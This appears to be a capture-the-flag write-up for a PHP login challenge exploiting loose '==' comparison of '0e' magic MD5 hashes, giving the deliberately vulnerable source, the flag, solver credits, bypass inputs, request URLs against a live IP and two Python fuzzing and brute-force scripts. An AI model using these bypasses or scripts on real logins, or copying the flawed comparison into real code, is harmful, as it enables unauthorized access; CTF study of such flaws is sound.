<!--
    We are so generous, see we provided you password hash to login :) 0e100132199235687421930375421091
    if(0e100132199235687421930375421091 == md5($_GET['pass']))
    {
      // Simple PHP CODE Logic
    }
  ?> -->

jinmo123  - Good Solution but not expected
tlk ( https://twitter.com/tlk___ ) - Nice Solution, but Not expected
stypr (https://stypr.com) - W00tt , expected solution
Ajin Abraham - Nice Solution, but Not expected
sagar popat  - Nice Solution, but Not expected
Sharath Unni - W00tt , expected solution

<?php
error_reporting(0);
$a = htmlentities($_GET['username']);
$c = htmlentities($_GET['password']);
$b = md5($c);
if (!empty($a) AND !empty($b)) { // empty function made this CTF more easy
 if ("0e100132199235687421930375421091" == $b) { // vulnerable line
    if ($b ==="0e100132199235687421930375421091") {  // To Avoiding some bugs and change behavior of CTF
     if ("133E-1337" === $a) {// To Avoiding some bugs and change behavior of CTF
        print "Flag : Garage4H4x0rFlagPhpFlag1337";
      }else{
        print "umm!! nice try dude :), oops! you don't know username";
      }
    }else{
      if ($a ==="0e100132199235687421930375421091") {// To Avoiding some bugs and change behavior of CTF
       print "umm!! nice try dude :), oops! ";
      }else{
        if ("133E-1337" == $a) { // vulnerable line
          print "Flag : Garage4H4x0rFlagPhpFlag1337";
        }else{
          Print "Wrong Username";
        }
    }
      }
  }else{
    Print "wrong  Password";
  }
}
?>

Input       | Output
-------------------------
"0" == "0" | True
"1" == "0" | False
-------------------------

Input       | Output
-------------------------
"0e1" == "0" | True
-------------------------

 <?php
   var_dump("0e1" == 0);
 ?>

Finding entry points
Branch analysis from position: 0
Return found
filename:       /in/Pvj4s
function name:  (null)
number of ops:  4
compiled vars:  none
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   IS_EQUAL                                         ~0      '0e1', 0
         1      SEND_VAL                                                 ~0
         2      DO_FCALL                                      1          'var_dump'
         3    > RETURN                                                   1

var_dump(0e100132199235687421930375421091 == md5(urldecode('%02%a27%84')));
 bool(true) // w00t :)

'\x98-\xde\x1f'

php > var_dump('0e100132199235687421930375421091'==md5("\x0e\xd7\xb6\xea"));   // Submission by Beched (@ahack_ru)
bool(true)

http://3v4l.org/2vrMi

0e100132199235687421930375421091 (Found in HTML source code )
0e104142395260374396839196939683 (MD5 collision )

 http://www.md5online.org/

http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true
http://162.208.48.16/?username=0e1&password=NOOPCJF&submit=Login&debug=true
http://162.208.48.16/?username=0e2&password=26177715789&submit=Login&debug=true

http://162.208.48.16/?username=000&password=240610708&submit=Login#

import requests
s = requests.session()
for i in range(255):
    r = s.get("http://162.208.48.16/?username="+chr(i)+"&password=QNKCDZO&submit=Login")
    print len(r.content), chr(i), i, "Wrong Username" in r.content
We can see that only #, & and 0 not contains "Wrong Username". let's try to prepend '0' :
    r = s.get("http://162.208.48.16/?username=0"+chr(i)+"&password=QNKCDZO&submit=Login")

http://162.208.48.16/?username=0.0&password=QNKCDZO&submit=Login

http://162.208.48.16/?username=0e57640477961333848717747276704&password=BRTKUJZ&submit=Login&debug=true
http://162.208.48.16/?username=0x00&password=BRTKUJZ&submit=Login&debug=true

import urllib2
with open("10k most common.txt","r") as f:
    url='http://162.208.48.16/?username=[X]&password=26177715789'
    no=0
    for line in f:
        turl=url.replace("[X]",line).replace("\n","").replace("\r","")
        response = urllib2.urlopen(turl)
        html = response.read()
        dat=html[:50]
        no+=1
        log= str(no)+" Username: "+ line +"Response: "+ dat
        if ("Wrong" in log):
            print no
        else:
            print log
response.close()

URL:http://162.208.48.16/?username=-0&password=26177715789

http://162.208.48.16/?username=00&password=26177715789&submit=Login

http://162.208.48.16/?username=0e12323&password=26177715789&submit=Login